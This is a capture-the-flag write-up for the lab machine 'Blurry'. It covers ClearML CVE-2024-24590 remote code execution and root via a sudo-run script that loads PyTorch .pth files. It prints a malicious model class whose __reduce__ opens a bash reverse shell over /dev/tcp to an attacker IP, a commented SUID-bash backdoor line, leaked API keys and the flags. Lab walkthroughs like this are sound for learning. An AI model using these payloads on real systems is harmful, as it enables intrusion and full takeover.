Blurry

Recon

nmap_scan.log
└─$ grep blur /etc/hosts
10.10.11.19     blurry.htb      app.blurry.htb  api.blurry.htb

HTTP (80)

Writeup.png

Username used Test02

Writeup-1.png

Googling for clearml vuln gives CVE: ClearML-vulnerability-exploit-RCE-2024-CVE-2024-24590-

└─$ py -m venv venv
└─$  . ./venv/bin/activate
└─$ pip install clearml

Create credentials

Writeup-2.png

CVE-2024-24590-ClearML-RCE-Exploit

└─$ clearml-init
ClearML SDK setup process

Please create new clearml credentials through the settings page in your `clearml-server` web app (e.g. http://localhost:8080//settings/workspace-configuration)
Or create a free account at https://app.clear.ml/settings/workspace-configuration

In settings page, press "Create new credentials", then press "Copy to clipboard".

Paste copied configuration here:
api {
    web_server: http://app.blurry.htb
    api_server: http://api.blurry.htb
    files_server: http://files.blurry.htb
    credentials {
        "access_key" = "F7K2S0DTYUMBXUQP8HK5"
        "secret_key"  = "wbP0FrTePHEWdAKqO2Hlp8vTfRYM5ryWlDoGmRi78Jx8HKpdKP"
    }
}
Detected credentials key="F7K2S0DTYUMBXUQP8HK5" secret="wbP0***"

ClearML Hosts configuration:
Web App: http://app.blurry.htb
API: http://api.blurry.htb
File Store: http://files.blurry.htb

Verifying credentials ...
Credentials verified!

New configuration stored in /home/woyag/clearml.conf
ClearML setup completed successfully.

Reverse Shell (jippity)

Run exploit. For project name I tried test, then Black Swan (already created) and after few exploits I finally caught the shell

└─$ pwncat -lp 4444
/home/woyag/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
  'class': algorithms.Blowfish,
[03:30:55] Welcome to pwncat 🐈!                                                          __main__.py:164
[04:12:05] received connection from 10.10.11.19:51758                                          bind.py:84
[04:12:07] 0.0.0.0:4444: normalizing shell path                                            manager.py:957
[04:12:08] 10.10.11.19:51758: registered new host w/ db                                    manager.py:957
(local) pwncat$

User.txt

(remote) jippity@blurry:/home/jippity$ cat user.txt
0ca09d934a5d41f7b547604d8002d97f

Privilege Escalation (root)

(remote) jippity@blurry:/home/jippity$ cat clearml.conf  | grep -v '#'
api {
    ...
	credentials {"access_key": "8TL83TDO2YXCQ4789DE4", "secret_key": "peFoHVcUTMA0JdhOHNoQTioLSmtbKEiAVxZXJSHku4LyHlOTUB"}
}
...
(remote) jippity@blurry:/home/jippity/automation$ sudo -l
Matching Defaults entries for jippity on blurry:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
    (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

evaluate_model is just a bash script that handles python script:

(remote) jippity@blurry:/home/jippity/automation$ cat /models/evaluate_model.py
import torch
import torch.nn as nn
from torchvision import transforms
from torchvision.datasets import CIFAR10
from torch.utils.data import DataLoader, Subset
import numpy as np
import sys


class CustomCNN(nn.Module):
    def __init__(self):
        super(CustomCNN, self).__init__()
        self.conv1 = nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, padding=1)
        self.conv2 = nn.Conv2d(in_channels=16, out_channels=32, kernel_size=3, padding=1)
        self.pool = nn.MaxPool2d(kernel_size=2, stride=2, padding=0)
        self.fc1 = nn.Linear(in_features=32 * 8 * 8, out_features=128)
        self.fc2 = nn.Linear(in_features=128, out_features=10)
        self.relu = nn.ReLU()

    def forward(self, x):
        x = self.pool(self.relu(self.conv1(x)))
        x = self.pool(self.relu(self.conv2(x)))
        x = x.view(-1, 32 * 8 * 8)
        x = self.relu(self.fc1(x))
        x = self.fc2(x)
        return x


def load_model(model_path):
    model = CustomCNN()

    state_dict = torch.load(model_path)
    model.load_state_dict(state_dict)

    model.eval()
    return model

def prepare_dataloader(batch_size=32):
    transform = transforms.Compose([
        transforms.RandomHorizontalFlip(),
        transforms.RandomCrop(32, padding=4),
        transforms.ToTensor(),
        transforms.Normalize(mean=[0.4914, 0.4822, 0.4465], std=[0.2023, 0.1994, 0.2010]),
    ])

    dataset = CIFAR10(root='/root/datasets/', train=False, download=False, transform=transform)
    subset = Subset(dataset, indices=np.random.choice(len(dataset), 64, replace=False))
    dataloader = DataLoader(subset, batch_size=batch_size, shuffle=False)
    return dataloader

def evaluate_model(model, dataloader):
    correct = 0
    total = 0
    with torch.no_grad():
        for images, labels in dataloader:
            outputs = model(images)
            _, predicted = torch.max(outputs.data, 1)
            total += labels.size(0)
            correct += (predicted == labels).sum().item()

    accuracy = 100 * correct / total
    print(f'[+] Accuracy of the model on the test dataset: {accuracy:.2f}%')

def main(model_path):
    model = load_model(model_path)
    print("[+] Loaded Model.")
    dataloader = prepare_dataloader()
    print("[+] Dataloader ready. Evaluating model...")
    evaluate_model(model, dataloader)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python script.py <path_to_model.pth>")
    else:
        model_path = sys.argv[1]  # Path to the .pth file
        main(model_path)

pth extension is PyTorch's extension for models which uses Pickle to load/dump data.

Writeup-3.png

Example taken from PyTorch torch.nn.Module

import os
import torch
import torch.nn as nn
import torch.nn.functional as F

class Model(nn.Module):
    def __init__(self):
        super().__init__()
        self.conv1 = nn.Conv2d(1, 20, 5)
        self.conv2 = nn.Conv2d(20, 20, 5)

    def forward(self, x):
        x = F.relu(self.conv1(x))
        return F.relu(self.conv2(x))
    
    def __reduce__(self):
        # cmd = "cp /bin/bash /tmp/rootbash && chmod 4777 /tmp/rootbash"
        cmd = "bash -c '/bin/bash -i >& /dev/tcp/10.10.16.75/4444 0>&1'"
        return (os.system, (cmd, ))
    
torch.save(Model(), 'model.pth')

I changed cmd to reverse shell because the model kept hanging on me and not creating the backdoor. Catch the shell and pwn.

└─$ pip install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cpu
└─$ py model_exploit.py
└─$ file model.pth
model.pth: Zip archive data, at least v0.0 to extract, compression method=store
---
(remote) jippity@blurry:/tmp$
(local) pwncat$ upload model.pth
./model.pth ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 920/920 bytes • ? • 0:00:00
[09:32:38] uploaded 920.00B in 1.79 seconds                                                  upload.py:76
(local) pwncat$
(remote) jippity@blurry:/tmp$ cp model.pth /models/
(remote) jippity@blurry:/tmp$ sudo /usr/bin/evaluate_model /models/model.pth
[+] Model /models/model.pth is considered safe. Processing...

---

Root.txt

root@blurry:~# cat root.txt
2873083cced14db60ed32e8600ed02b0

Last updated